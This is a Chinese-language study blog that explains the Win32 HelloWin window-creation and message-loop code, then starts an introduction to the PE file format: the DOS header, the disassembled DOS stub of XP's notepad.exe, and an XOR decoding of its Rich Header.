SYSTEM_FONT 1. 系统字体 2. 默认情况下,Windows 使用系统字体绘制菜单,对话框和文本 3. 不推荐使用 DEFAULT_GUI_FONT 或 SYSTEM_FONT 获得对话框或系统的字体 4. 该字体默认是 Tahoma
SYSTEM_FIXED_FONT 1. 固定间距(等宽)系统字体 2. 该对象仅为兼容 16 位 Windows 版本提供
DEFAULT_PALETTE 默认调色板(该调色板由系统调色板中的静态色彩组成)

函数调用成功则返回所申请的逻辑对象的句柄

失败则返回NULL

lpszMenuName

LPCWSTR类型长指针宽字节型字符串,菜单栏名

lpszClassName

LPCWSTR类型长指针宽字节型字符串,描述窗口类名

例程使用的是

1
2
static TCHAR szAppName[] = TEXT("HelloWin");
wndclass.lpszClassName = szAppName;

这个窗口类名将是一个窗口和该窗口类发生联系的唯一接口

RegisterClass

1
2
3
WINUSERAPI ATOM WINAPI RegisterClassW(_In_ CONST WNDCLASSW *lpWndClass);
#ifdef UNICODE
#define RegisterClass RegisterClassW

参数是WNDCLASS类型,如果注册成功则返回ATOM,否则返回NULL

1
2
typedef unsigned short      WORD;
typedef WORD ATOM;

ATOM也是一个句柄

例程中

1
2
3
4
5
if (!RegisterClass(&wndclass))
{
MessageBox(NULL, TEXT("This program requires Windows NT!"),szAppName, MB_ICONERROR);
return 0;
}

没有保存RegisterClass的值

为啥这里要判断一下是否注册成功呢?

因为RegisterClass有两个实现,RegisterClassA和RegisterClassW,分别使用ASCII或者Unicode决定传递给窗口的信息的类型

但是WIN98系统上RegisterClassW并没有实现,只是一个桩函数,返回NULL,因此该程序在Win98上运行会寄

然而MessageBoxW也需要宽字符支持啊?谁知Win98就挑了几个需要unicode的函数实现了,包括MessageBoxW

创建窗口类实例

为啥要打印一个窗口到屏幕这么费劲啊,又是注册又是创建?

刚才注册的是一个模子,这个模子可以有很多实例,模子作为实例的相同部分,每个实例还可以有自己的特点

在CreateWindow函数中我们将会了解到CreateWindow和RegisterClass分别干了啥

HWND hwnd

句柄类型,hwnd将来要承载CreateWindow的返回值,用来标识唯一的窗口

1
2
3
4
winnt.h
#define DECLARE_HANDLE(name) struct name##__{int unused;}; typedef struct name##__ *name
windef.h
DECLARE_HANDLE(HWND);

会发现这个DECLARE_HANDLE(name)的宏定义很奇怪,

struct name##,这两个井号是干啥的

一个井号的时候,其作用为自动添加双引号

1
2
#define ToString(x) #x
char* str = ToString(123132); // 就成了str="123132";

两个井号的时候起拼接作用

1
2
3
4
#define Conn(x,y) x##y 
int n = Conn(123,456); // 结果就是n=123456;
char* str = Conn("asdf", "adf") // 结果就是 str = "asdfadf";

那么#define DECLARE_HANDLE(name) struct name##__{int unused;}; typedef struct name##__ *name宏定义展开就是

1
2
3
4
struct HWND__{
int unused;
};
typedef struct HWND__ *HWND

这里##的作用就是拼接HWND和下划线__,下划线的作用是避免命名冲突

CreateWindow

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
WINUSERAPI HWND WINAPI CreateWindowExW(
_In_ DWORD dwExStyle,
_In_opt_ LPCWSTR lpClassName,
_In_opt_ LPCWSTR lpWindowName,
_In_ DWORD dwStyle,
_In_ int X,
_In_ int Y,
_In_ int nWidth,
_In_ int nHeight,
_In_opt_ HWND hWndParent,
_In_opt_ HMENU hMenu,
_In_opt_ HINSTANCE hInstance,
_In_opt_ LPVOID lpParam);

#define CreateWindowW(lpClassName, lpWindowName, dwStyle, x, y,\
nWidth, nHeight, hWndParent, hMenu, hInstance, lpParam)\

CreateWindowExW(0L, lpClassName, lpWindowName, dwStyle, x, y,\
nWidth, nHeight, hWndParent, hMenu, hInstance, lpParam)

#ifdef UNICODE

#define CreateWindow CreateWindowW

这个皮球踢了三jio才能落实

CreateWindow->CreateWindowW->CreateWindowExW

从CreateWindowW到CreateWindowExW多了一个参数dwExStyle,并且该参数默认是0,没有其他区别了

该函数的返回值为指向所创建窗口的句柄,历程中是这样写的hwnd = CreateWindow...,即该句柄保存在hwnd中.

该函数执行完毕之后不会在屏幕上显示窗口,而是在内存中分配了一块,用来保存传递给CreateWindow函数的各种参数信息,以及一些其他信息.可以通过hwnd句柄调用这些信息

lpClassName

这就是刚才RegisterClass注册的窗口类,最后一个参数wnd.lpszClassName

例程中该值为L"HelloWin",因此在CreateWindow中才可以使用"HelloWin"作为窗口类名.意思是当前创建的窗口使用"HelloWin"类的设定

lpWindowName

窗口标题

例程中该值为TEXT("The Hello Program"), // window caption

窗口运行时左上角的标题就是The Hello Program

image-20220713173027546
dwStyle

指定窗口的风格

窗口风格 含义
WS_BORDER 创建一个带边框的窗口
WS_CAPTION 创建一个有标题框的窗口(包含了 WS_BODER 风格)
WS_CHILD 创建一个子窗口,这个风格的窗口不能拥有菜单也不能与 WS_POPUP 风格合用
WS_CHILDWINDOW 与 WS_CHILD 相同
WS_CLIPCHILDREN 当在父窗口内绘图时,排除子窗口区域,在创建父窗口时使用这个风格
WS_CLIPSIBLINGS 1. 排除子窗口之间的相对区域,也就是,当一个特定的窗口接收到 WM_PAINT 消息时,WS_CLIPSIBLINGS 风格将所有层叠窗口排除在绘图之外,只重绘指定的子窗口 2. 如果未指定该风格,并且子窗口是层叠的,则在重绘子窗口的客户区时,就会重绘邻近的子窗口
WS_DISABLED 1. 创建一个初始状态为禁止的子窗口,一个禁止状态的窗口不能接受来自用户的输入信息 2. 在窗口创建之后,可以调用 EnableWindow 函数来启用该窗口
WS_DLGFRAME 创建一个带对话框边框风格的窗口,这种风格的窗口不能带标题条
WS_GROUP 1. 指定一组“控制窗口”的第一个“控制窗口” 2. 这个“控制窗口”组由第一个“控制窗口”和随后定义的“控制窗口”组成,自第二个“控制窗口”开始每个“控制窗口”具有 WS_GROUP 风格 3. 每个组的第一个“控制窗口”带有 WS_TABSTOP 风格,从而使用户可以在组间移动 4. 用户随后可以使用光标在组内的控制间改变键盘焦点
WS_HSCROLL 创建一个有水平滚动条的窗口
WS_ICONIC 创建一个初始状态为最小化状态的窗口,与 WS_MINIMIZE 风格相同
WS_MAXIMIZE 创建一个初始状态为最大化状态的窗口
WS_MAXIMIZEBOX 创建一个具有最大化按钮的窗口,该风格不能与 WS_EX_CONTEXTHELP 风格同时出现,同时必须指定 WS_SYSMENU 风格
WS_MINIMIZE 创建一个初始状态为最小化状态的窗口,与 WS_ICONIC 风格相同
WS_MINIMIZEBOX 创建一个具有最小化按钮的窗口,该风格不能与 WS_EX_CONTEXTHELP 风格同时出现,同时必须指定 WS_SYSMENU 风格
WS_OVERLAPPED 产生一个层叠的窗口,一个层叠的窗口有一个标题条和一个边框,与 WS_TILED 风格相同
WS_OVERLAPPEDWINDOW 相当于(WS_OVERLAPPED | WS_CAPTION | WS_SYSMENU | WS_THICKFRAME | WS_MINIMIZEBOX | WS_MAXIMIZEBOX),与 WS_TILEDWINDOW 风格相同
WS_POPUP 创建一个弹出式窗口,该风格不能与 WS_CHILD 风格同时使用。
WS_POPUPWINDOW 相当于(WS_POPUP | WS_BORDER | WS_SYSMENU),但 WS_CAPTION 和 WS_POPUPWINDOW 必须同时设定才能使窗口某单可见
WS_SIZEBOX 创建一个可调边框的窗口,与 WS_THICKFRAME 风格相同
WS_SYSMENU 创建一个在标题条上带有窗口菜单的窗口,必须同时设定 WS_CAPTION 风格
WS_TABSTOP 1. 创建一个“控制窗口”,在用户按下 Tab 键时可以获得键盘焦点。 2. 按下 Tab 键后使键盘焦点转移到下一具有 WS_TABSTOP 风格的“控制窗口”
WS_THICKFRAME 创建一个具有可调边框的窗口,与 WS_SIZEBOX 风格相同
WS_TILED 产生一个层叠的窗口,一个层叠的窗口有一个标题和一个边框,与 WS_OVERLAPPED 风格相同
WS_TILEDWINDOW 相当于(WS_OVERLAPPED | WS_CAPTION | WS_SYSMENU | WS_THICKFRAME | WS_MINIMIZEBOX | WS_MAXIMIZEBOX),与 WS_OVERLAPPEDWINDOW 风格相同
WS_VISIBLE 创建一个初始状态为可见的窗口
WS_VSCROLL 创建一个有垂直滚动条的窗口

例程中该值为WS_OVERLAPPEDWINDOW,

相当于WS_OVERLAPPED | WS_CAPTION | WS_SYSMENU | WS_THICKFRAME | WS_MINIMIZEBOX | WS_MAXIMIZEBOX

层叠 | 有标题 | 标题条上有窗口菜单 | 可调边框 | 可最小化 | 可最大化

x

指定窗口初始水平位置对于层叠或者弹出式窗口,x是相对屏幕左上角的位移

对于子窗口,x是相对于父窗口左上角的偏移

如果该值为CW_USEDEFAULT则系统为窗口选择缺省的左上角左边并忽略y(该值只对层叠窗口有效)

#define CW_USEDEFAULT ((int)0x80000000)

例程中就使用了CW_USEDEFAULT

y

类似于x

nWidth

指定窗口宽度

nHeight

指定窗口高度

hWndParent

父窗口的句柄

例程中该值为NULL,即没有父窗口,显然这是第一个窗口,还没有第二个窗口,谈不上父子关系

注册子窗口时这里要写父窗口的句柄

hMenu

窗口菜单句柄

例程中该值为NULL,看来不是必要的

对于子窗口来说,父窗口过程在建立子窗口的时候需要维护一个子窗口ID,就是在hMenu上指定

hInstance

与窗口相关联的模块实例的句柄

例程中该值为hInstance,也就是winmain的第一个参数,目前阶段只要是hInstance基本都是来自winmain的参数.

lpParam

创建窗口之后发送给该窗口过程的WM_CREATE消息的lParam参数

例程中该值为NULL,目前阶段一般都是NULL,不管他了

显示窗口实例

ShowWindow

RegisterClass注册了窗口类,

CreateWindow创建了窗口实例,

下面就差一步就能将该实例显示出来了

这就是ShowWindow(hwnd,iCmdShow)函数的作用

1
WINUSERAPI BOOL WINAPI ShowWindow(_In_ HWND hWnd,_In_ int nCmdShow);

hwndCreateWindow的返回值,也就是窗口实例的句柄

iCmdShowwinmain函数的第四个参数,即命令行参数,此参数决定窗口的显示方式,最大化最小化或者正常.

如果显示成功则返回TRUE,否则返回FALSE

UpdateWindow

当客户区有改动时使用本函数重绘客户区

实际上通过向窗口过程发送WM_PAINT消息完成

参数是窗口实例句柄,意思是更新该句柄对应窗口实例

消息循环

消息

举一个直观例子,键鼠动作就属于消息.

操作系统负责用结构体记录消息,并发送给相应线程的消息队列,每个线程都有一个消息队列

消息结构体:

1
2
3
4
5
6
7
8
9
10
11
typedef struct tagMSG {
HWND hwnd;
UINT message;
WPARAM wParam;
LPARAM lParam;
DWORD time;
POINT pt;
#ifdef _MAC
DWORD lPrivate;
#endif
} MSG, *PMSG, NEAR *NPMSG, FAR *LPMSG;

比如当点选窗口W的关闭按钮X时,操作系统会捕获该鼠标动作,封装成MSG结构体,

然后操作系统将把该结构体塞到对应线程的消息队列中

hwnd

但是塞给哪个线程的消息队列呢?通过该结构体的第一个参数hwnd窗口句柄.

如果该值为NULL则是一个线程消息

一个线程可以有多个窗口,一个进程可以有多个线程

message

发送啥消息呢?通过第二个参数message决定,该值是个枚举类型

1
2
3
4
5
6
7
8
#define WM_NULL                         0x0000
#define WM_CREATE 0x0001//窗口创建伊始操作系统产生的消息
#define WM_DESTROY 0x0002
#define WM_MOVE 0x0003
#define WM_SIZE 0x0005

#define WM_ACTIVATE 0x0006
...
wParam/lParam

额外信息,要和message配合使用,有些信息不需要额外描述,一个message就够了

time

消息进入线程消息队列的时间

pt

指针类型,指向结构体Point

1
2
3
4
5
typedef struct tagPOINT
{
LONG x;
LONG y;
} POINT, *PPOINT, NEAR *NPPOINT, FAR *LPPOINT;

描述消息进入消息队列时,鼠标光标位置

GetMessageW

1
2
3
4
5
6
7
WINUSERAPI BOOL WINAPI GetMessageW(
_Out_ LPMSG lpMsg,
_In_opt_ HWND hWnd,
_In_ UINT wMsgFilterMin,
_In_ UINT wMsgFilterMax);
#ifdef UNICODE
#define GetMessage GetMessageW

本函数的作用是从线程消息队列中取出一条消息,将该消息保存在第一个参数lpMsg中(目的地).

因此例程中在winmain函数栈下开了一个MSG msg;用于存放GetMessageW获取到的信息

GetMessageW传递msg作为参数时使用的是引用传递GetMessage(&msg, NULL, 0, 0)

第二个参数hWnd指定接收属于哪个窗口的消息,如果设置为NULL则表示接收属于调用线程的所有窗口的窗口消息.

这是由于一个线程可以有多个窗口,关闭A窗口的消息要准确地发送给A窗口,不能把B窗口关喽

第三个参数wMsgFilterMin指定要获取的消息的最小值,通常为0

第四个参数wMsgFilterMax指定要获取消息的最大值,如果wMsgFilterMinwMsgFilterMax都是0则接收所有消息

例程中这两个值全是0,也就是接收所有消息

TranslateMessage(&msg)

线程将msg消息还给操作系统,让操作系统进行键盘消息的转换,转换完后操作系统将结果还是放在msg中还给线程

DispatchMessage(&msg)

线程收到操作系统返回的转换信息,又将msg还给操作系统.

操作系统将该消息发送给相应窗口过程WndProc进行处理,即操作系统调用了窗口过程

这里的窗口过程也就是RegisterClass时lpfnWndProc指定的回调函数

窗口过程仅针对当前消息做出相应处理,然后将控制还给操作系统.操作

Dispatch,分发,这里的意思是操作系统根据消息msg的hwnd句柄,决定分发给回调函数进行处理还是返回内核进行处理

细节是咋样的,在此不深究

循环处理

1
2
3
4
5
while (GetMessage(&msg, NULL, 0, 0))
{
TranslateMessage(&msg);
DispatchMessage(&msg);
}

这是一个固定格式,当前线程不断检查其消息队列中是否有消息,如果有则msg是有效负载,否则msg空.

msg不管是不是空,都会经历整个过程,空负载也就是蜻蜓点水地进入转换和分发函数立刻判断失效返回.

窗口过程

在消息循环中,我们直到窗口过程不是线程自己想要调用就调用的,需要操作系统来调用窗口过程

所谓窗口过程,实际上就是注册窗口类时,wndclass.lpfnWndProc这个函数指针指向的函数

前面消息经过一系列踢皮球,不管是os给线程啊,还是线程还给os啊,都只是传来传去,没有对窗口造成任何影响.

最终这个皮球踢给了WndProc函数,他势必要做出某些改变

例程中该函数是这样定义的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
LRESULT CALLBACK WndProc(HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam)
{
HDC hdc;
PAINTSTRUCT ps;
RECT rect;

switch (message)
{
case WM_CREATE:
PlaySound(TEXT("SenbonZakura.wav"), NULL, SND_FILENAME | SND_ASYNC);
return 0;
case WM_PAINT:
hdc = BeginPaint(hwnd, &ps);

GetClientRect(hwnd, &rect);

DrawText(hdc, TEXT("Hello, Windows 98!"), -1, &rect,
DT_SINGLELINE | DT_CENTER | DT_VCENTER);
EndPaint(hwnd, &ps);
return 0;

case WM_DESTROY:
PostQuitMessage(0);
return 0;
}
return DefWindowProc(hwnd, message, wParam, lParam);
}

暂且先不管细节,但就从switch(message)-case可以看出,这是在对message参数传进来的消息进行分拣,例程中给出了三种分拣情况

case WM_CREATE,当窗口创建时,即CreateWindow返回前

case WM_PAINT当窗口绘制完毕时

case WM_DESTROY当窗口关闭时

现在开始管细节

1
LRESULT CALLBACK WndProc(HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam);

这四个参数正好是MSG结构体的前四个成员

1
2
3
4
5
6
7
8
9
10
11
typedef struct tagMSG {
HWND hwnd;
UINT message;
WPARAM wParam;
LPARAM lParam;
DWORD time;
POINT pt;
#ifdef _MAC
DWORD lPrivate;
#endif
} MSG, *PMSG, NEAR *NPMSG, FAR *LPMSG;

hwnd,窗口句柄,作用是告诉WndProc函数,将要根据函数进行的处理,要作用于哪一个窗口

message,告诉WndProc函数,发生甚么事了,指导WndProc做出相应处理

wParam,lParam,配合message,当message一句话说不清发生甚么事的时候,就需要 多说一句甚至两句描述清楚发生了甚么事

这就好比病人去中医院已经看完了大夫,要去药房拿药

病人看大夫,大夫一眼顶针,总结出病人得了什么病,

但是为了挣钱,防止病人自己去其他平价药店买要,因此大夫将处方写的只能药房护士看得懂,病人你休想看懂

病人没办法拿着处方去了药房,这个药房护士就是WndProc函数,他一看,

第一行写了个"玛卡巴卡",哦,皮燕子有毛病

第二行写了个"妈了巴子",哦,要吃人参,树皮,坷拉蛋子

第三行写了个"古西迪西",哦,人参两公斤,树皮两张,坷拉蛋子两公斤,吃不死你

药房护士就开出了药,完成了其使命.

对于例程中的唯一的窗口,hwnd显而易见的来自唯一一次调用的CreateWindow创建的窗口

但是从DisPatchMessage(&msg)到操作系统调用WndProc,中间出现了一个断层,看不到中间的过程心里总是发慌.

并且TranslateMessage(&msg)干了啥也不知道.

调用WndProc有没有创建新进程呢?目前感觉没有,基于两点推测,

一是两个进程的虚拟地址空间独立,不方便WndProc修改窗口参数.

二是刚才已经了解到DisPatchMessage->操作系统相关函数->WndProc->操作系统相关函数->DispatchMessage这个过程只涉及到控制的转移,看来只是函数调用和返回,不涉及到开新进程

怎么解决这些问题呢?动态调试or看源代码,但不是现在

消息分拣与处理

消息处理的过程,就是switch-case分拣和就事论事的过程,其要求是:

如果switch-case可以捕获该消息种类并进行处理,那么处理后返回0

否则,即switch-case处理不了这种消息,则应该把处理消息的皮球踢给叫DefWindowProc的系统函数.然后WndProc返回DefWindowProc的返回值

就好比要吃核桃的时候先用手拨,不行就用牙咬,再不行就用脚踩,要是还不行就只能把核桃交给核桃钳了.

这就好比消息先让WndProc中的switch-case尝试处理,处理不动就交给DefWindowProc进行处理

但是不管用什么方法,最终核桃都要进入人的嘴里

就好比不管谁处理的消息,最终都要经过WndProc返回

例程是严格遵守这个顺序的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
switch (message)
{
case WM_CREATE://第一次尝试
...
return 0;//若能处理则返回0
case WM_PAINT://第二次尝试
...
return 0;

case WM_DESTROY://第三次尝试
...
return 0;
}
//实在能力有限,处理不了,把瓷器活交给金刚钻
return DefWindowProc(hwnd, message, wParam, lParam);//返回DefWindowProc的返回值

这些消息处理感觉就类似于HTML中的onClick,onload等事件处理函数

onload等事件处理函数一般会赋一个javascript脚本的函数,这个js函数负责修改HTML元素,给用户的感觉就是页面会动态改变

类比到win32编程

case WM_CREATE:这句话就相当于onLoad,

case块里的内容就相当于onLoad=等号后面挂钩的js函数

播放音频

消息分拣的第一次尝试

1
2
3
case WM_CREATE:
PlaySound(TEXT("SenbonZakura.wav"), NULL, SND_FILENAME | SND_ASYNC);
return 0;

如果该消息是 窗口创建,则捕获该消息.

怎么处理的呢?听首千本樱吧,当前exe文件同目录下找一个叫SenbonZakura.wav的音频文件.

PlaySound函数的实现在winmm.lib静态库中,因此在编译的时候要加上-lwinmm选项gcc main.c -O0 -o main -m32 -mwindows -lwinmm

单凭这个静态库就知道PlaySound是个很老狠不中用的函数了,甚至都没必要制作成动态库函数.

上网一查API,果然,它只能播放.wav格式的音频文件.怪不得我一开始让他放SenbonZakura.mp3,他不吱声,真的太逊了

1
2
3
4
5
BOOL PlaySound(
 LPCTSTR pszSound,
 HMODULE hmod,
 DWORD   fdwSound
);

第一个参数是资源名,第二个参数目前认为NULL就可以

还有一件事,听歌的时候程序是卡在这句话等着呢,还是立刻返回呢.

如果一直卡着显然不能及时处理下一条消息.并且实际应用比如植物大战僵尸中,音乐都是当作bgm和战斗并行的.

这玩意怎么实现的呢?通过第三个参数

fdwSound枚举值

SND_ALIAS pszSound参数指定了注册表或WIN.INI中的系统事件的别名。

SND_ALIAS_ID pszSound参数指定了预定义的声音标识符。

SND_ASYNC 用异步方式播放声音,PlaySound函数在开始播放后立即返回。

SND_FILENAME pszSound参数指定了WAVE文件名。

SND_LOOP 重复播放声音,必须与SND_ASYNC标志一块使用。

SND_MEMORY 播放载入到内存中的声音,此时pszSound是指向声音数据的指针。

SND_NODEFAULT 不播放缺省声音,若无此标志,则PlaySound在没找到声音时会播放缺省声音。

SND_NOSTOP PlaySound不打断原来的声音播出并立即返回FALSE。

SND_NOWAIT 如果驱动程序正忙则函数就不播放声音并立即返回。

SND_PURGE 停止所有与调用任务有关的声音。若参数pszSound为NULL,就停止所有的声音,否则,停止pszSound指定的声音。

SND_RESOURCE pszSound参数是WAVE资源的标识符,这时要用到hmod参数。

SND_SYNC 同步播放声音,在播放完后PlaySound函数才返回。

SND_SYSTEM 如果是背景窗口,当这个标志被设置,声音是分配到音频会议系统通知的声音。系统音量控制程序(sndvol)显示音量滑块控制系统通知的声音。设置该标志将下控制音量滑块。如果没有设置该标志,声音是分配到默认的音频会议的应用进程。

例程中这个参数为SND_FILENAME | SND_ASYNC

意思是第一个参数指定的是一个wav资源名,第二个参数意思是异步播放,即PlaySound执行后立刻返回,音乐异步播放

重绘客户区

CreateWindow之后,只是在内存中为窗口分配了空间,不能显示窗口

ShowWindow显示CreateWindow在内存中存好的窗口,此后的更新它不知道

如果此后客户区有更新,需要更新客户区,否则还是显示之前的页面

窗口的客户区是会经常发生变动的,比如缩放调整,最小化,最大化等变化.每次变化后都需要及时重绘客户区

还是看看例程中的方法吧

1
2
3
4
5
6
7
8
9
10
11
12
13
HDC hdc;
PAINTSTRUCT ps;
RECT rect;

case WM_PAINT:
hdc = BeginPaint(hwnd, &ps);

GetClientRect(hwnd, &rect);

DrawText(hdc, TEXT("Hello, Windows 98!"), -1, &rect,
DT_SINGLELINE | DT_CENTER | DT_VCENTER);
EndPaint(hwnd, &ps);
return 0;

起于BeginPaint,终于EndPaint,夹在中间的逻辑就是重绘

BeginPaint

BeginPaint会将客户区的背景擦除,使用注册窗口类WNDCLASS时的hbrBackground画刷,当时我们是这样规定这个值的

1
wndclass.hbrBackground = (HBRUSH)GetStockObject(WHITE_BRUSH);

即一个库存的白色的画刷

BeginPaint使能客户区,告诉操作系统,要向显卡输出了,把本次(其余BeginPaint终于EndPaint)的输出放在显示队列里

返回一个设备环境句柄hdc,啥叫设备环境句柄呢?

hdc就对应窗口客户区那块显示屏,对hdc瞎折腾都不会超过客户区的范围,不会说画出去

GetClientRect

第一个参数,窗口句柄,例程中的hwnd来自WndProc函数,该函数由操作系统调用,hwnd就是消息发生所在的窗口

第二个参数,RECT类型,矩形结构指针

1
2
3
4
5
6
7
typedef struct tagRECT
{
LONG left;//左边界
LONG top;//上边界
LONG right;//右边界
LONG bottom;//下边界
} RECT, *PRECT, NEAR *NPRECT, FAR *LPRECT;

其中left和top总是置0,此时right和bottom分别以像素为单位表示客户区高度和宽度

注意到rect传递的是引用,也就是说GetClientRect将会改变这个值.

该函数会获取客户区的大小,写道第二个参数指定的结构体中

为啥要获取客户区大小呢?为下面重绘做准备.经过窗口缩放等改变,客户区显然会变,因此需要重新量身定做

DrawText
1
2
3
4
5
6
7
int DrawText(
[in] HDC hdc,
[in, out] LPCTSTR lpchText,
[in] int cchText,
[in, out] LPRECT lprc,
[in] UINT format
);
1
2
DrawText(hdc, TEXT("Hello, Windows 98!"), -1, &rect,
DT_SINGLELINE | DT_CENTER | DT_VCENTER);

绘制文本,向hdc句柄对应的区域,打印"Hello,Windows 98!",-1表示该字符串以0结尾.

第四个参数是刚从GetClientRect获得客户区信息的矩形结构体,要打印的字符串将放在啊矩形中

至于是居中居左等样式信息,还要取决于第五个参数

Value Meaning
DT_BOTTOM Justifies the text to the bottom of the rectangle. This value is used only with the DT_SINGLELINE value.
DT_CALCRECT Determines the width and height of the rectangle. If there are multiple lines of text, DrawText uses the width of the rectangle pointed to by the lpRect parameter and extends the base of the rectangle to bound the last line of text. If the largest word is wider than the rectangle, the width is expanded. If the text is less than the width of the rectangle, the width is reduced. If there is only one line of text, DrawText modifies the right side of the rectangle so that it bounds the last character in the line. In either case, DrawText returns the height of the formatted text but does not draw the text.
DT_CENTER 文字居中
... ...

例程中使用的是DT_SINGLELINE | DT_CENTER | DT_VCENTER,单行,水平居中,垂直居中

EndPaint

配合BeginPaint使用,这样一对函数的参数必须相同,夹紧一个窗口的变化

关闭窗口

当点击窗口右上角的❌,企图关闭窗口时,该消息发出

1
2
3
case WM_DESTROY:
PostQuitMessage(0);
return 0;

例程中的处理方法是调用函数PostQuitMessage(0)

其功能是将WM_QUIT消息插入线程的消息队列.

而消息循环的判断函数GetMessage,唯独对于WM_QUIT返回0,

当消息循环取出该消息时,GetMessage返回0,判断失败,不进入循环,WinMain结束.线程结束

程序返回

只有当消息循环接收到WM_QUIT时,才会跳出循环,此时WinMain寿终正寝了

1
return msg.wParam;

Portable Executable

前置知识

notepad.exe on winXP

首先,win11上的notepad.exe和winXP上的notepad.exe不一样

左是winxp上的notepad.exe,右是win11上的

image-20220710191351701

方便获取核心原理的讲解,还是使用winxp的notepad.exe

直接从虚拟机拽到win11上用010editor分析就可以

PE文件

windows上的目标文件叫做PE

可执行的有.exe,.src(即可执行目标模块,类似于linux上的.out)

库文件有.dll等(动态库,类似于linux上的.so)

驱动程序有.sys等

对象文件有.obj(即可重定位目标模块,类似于linux上的.o文件)

PE文件可以分成两部分,头和身子

头就是PE头,身子就是各节区内容

PE在磁盘中存放时的状态和运行时加载进入虚拟内存的状态不完全相同

image-20220710112514843

虚拟地址,相对虚拟地址,映像基址,文件偏移

一些符号约定,后面会推导这些量的转化关系

VA(Virtual Address):虚拟地址空间中的地址

RVA(Relative Virtual Address):相对虚拟地址,相对于虚拟地址空间中基地址的偏移量

ImageBase:进程映像在虚拟地址空间中的基地址

关系:\(VA=RVA+ImageBase\)

文件中保存的都是RVA,实际运行时需要选定一个ImageBase,其他RVA地址基于该ImageBase计算得到运行时的虚拟地址.

RAW:文件偏移,符号在磁盘文件中躺着时,相对于文件开始的偏移量

1
RAW(x)=RVA(x)-section[i].VirtualAddress+section[i].PointerToRawData

PE头

DOS头

image-20220710193646618

DOS头的最后一个成员是AddressOfNewExeHeader,其值是NT头相对于本文件开始的偏移量

可以看到NotePad.exe中其值为E8h,而本文件的E8h处正好就是NtHeader的起始地址

image-20220710205215866

为啥要设置这么一个值呢?

因为DOS头和NtHeader之间有一个DOS桩,如果这个DOS桩也是定长的,则显然不需要记录Nt头的偏移量

然而DOS桩长度可变,因此为了定位Nt头需要专门记录一下

为啥不在DOS桩里面记录Nt头的位置?DOS桩只有在DOS环境下才会执行,桌面环境下轮不到DOS桩执行

DOS桩

桩,存根, 占位代码,粘合代码,残存代码, 指满足形式要求但没有实现实际功能的占坑/代理代码。

image-20220710193746654

32位PE程序中,由于DOS头是定长的,因此从40h开始是DOS桩,而DOS桩不一定是定长的

winXP上的notepad.exe,其dos桩长度为90h

DOS桩是干啥的呢?在DOS环境下执行PE程序会执行DOS桩内的指令,而不是执行正儿八经的PE程序

为啥呢?DOS环境是16位的,并且没有GUI,当然跑不起来正儿八经的记事本了.

既然DOS桩也可以执行,那么它干了啥事呢?

将DOS桩提出来用ida 16位反编译

发现前D个字节确实可以反汇编成指令

1
2
3
4
5
6
7
8
9
seg000:0000 0E                       push    cs
seg000:0001 1F pop ds
seg000:0002 BA 0E 00 mov dx, 0Eh
seg000:0005 B4 09 mov ah, 9
seg000:0007 CD 21 int 21h ; DOS - PRINT STRING
seg000:0007 ; DS:DX -> string terminated by "$"
seg000:0009 B8 01 4C mov ax, 4C01h
seg000:000C CD 21 int 21h ; DOS - 2+ - QUIT WITH EXIT CODE (EXIT)
seg000:000C ; AL = exit code

此后紧跟着就是有实际意义的字符串

1
2
seg000:000E aThisProgramCan db 'This program cannot be run in DOS mode.',0Dh,0Dh,0Ah
seg000:000E db '$',0

注意到字符串下面有一个美元符号'$',它也是有作用的,后面就知道了

那么这前D个字节的指令干了啥事呢

首先将cs拷贝给ds,然后将This program cannot be run in DOS mode.$这个字符串的起始地址0Eh放到dx中,目的是为后来的函数调用做准备

1
2
3
seg000:0000 0E                       push    cs
seg000:0001 1F pop ds
seg000:0002 BA 0E 00 mov dx, 0Eh

为啥要把cs拷贝给ds呢?因为这时候cs段寄存器存放的就是当前正在执行的代码段的起始地址,

后面的字符串虽然是数据,但是也是存放在当前代码段的,

访问数据要使用ds:dx两个寄存器,

要想指向这个字符串,ds需要等于字符串的段地址,也就是cs

然后ah=9h决定int 21h做什么工作

1
2
seg000:0005 B4 09                    mov     ah, 9
seg000:0007 CD 21 int 21h ; DOS - PRINT STRING

AH=9的时候,int 21h显示字符串,将DS:DX开始的字符串一直打印到$结束

然后4c01h放在ax中,再次决定int 21h做什么工作

1
2
seg000:0009 B8 01 4C                 mov     ax, 4C01h
seg000:000C CD 21 int 21h ; DOS - 2+ - QUIT WITH EXIT CODE (EXIT)

ah=4c时,int 21h决定带返回码返回,返回码就放在al中,显然这里是01h

现在DOS桩的逻辑弄明白了,但是但是,代码和数据只是占了一小部分,桩后半部分那些乱码是啥呢?

010editor给出了一些线索

image-20220710200602144

DOS桩剩下这一部分叫做Rich Header,

单凭其最后一个成员XorKey,一个异或钥匙,就知道这rich_header玩意儿应该是加密的,

既然给了异或钥匙,直接解密试试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
#include <iostream>
using namespace std;

union ElemType{
char str[4];
unsigned int value;
ElemType(){
value=0;
}
ElemType(const unsigned int &i){
value=i;
}
ElemType operator=(const ElemType &e){
value=e.value;
return (*this);
}
friend ostream &operator<<(ostream &os,const ElemType &e){
cout<<hex<<e.value<<" ";
for(int i=0;i<4;++i){
os<<e.str[i];
}
return os;
}

void operator^=(const ElemType &e){
value^=e.value;
}
};
ElemType data[17] = {
0x9B166DA5, 0xC8780CE1, 0xC8780CE1, 0xC8780CE1, 0xC8382F1B, 0xC8780CE0, 0xC8780CE1, 0xC8780CE0,
0xC8612F1B, 0xC8780CF2, 0xC8790CE1, 0xC8780C23, 0xC83D2F76, 0xC8780CE0, 0xC8642F3B, 0xC8780CF2,
0xC8452F1B
};
unsigned int key=0xC8780CE1;
int main(){
for(int i=0;i<17;++i){
data[i]^=key;
}
for(int i=0;i<17;++i){
cout<<data[i]<<endl;
}

}

运行结果

1
2
3
4
5
6
7
PS C:\Users\86135\Desktop\PE> g++ main.cpp -O0 -o main
PS C:\Users\86135\Desktop\PE> ./main
536e6144 DanS
0
0
0
4023fa ?

结果给了一个"DanS"字符串还有一堆乱码

我猜DanS是一个开发者姓名的前缀.但是上网搜不到...

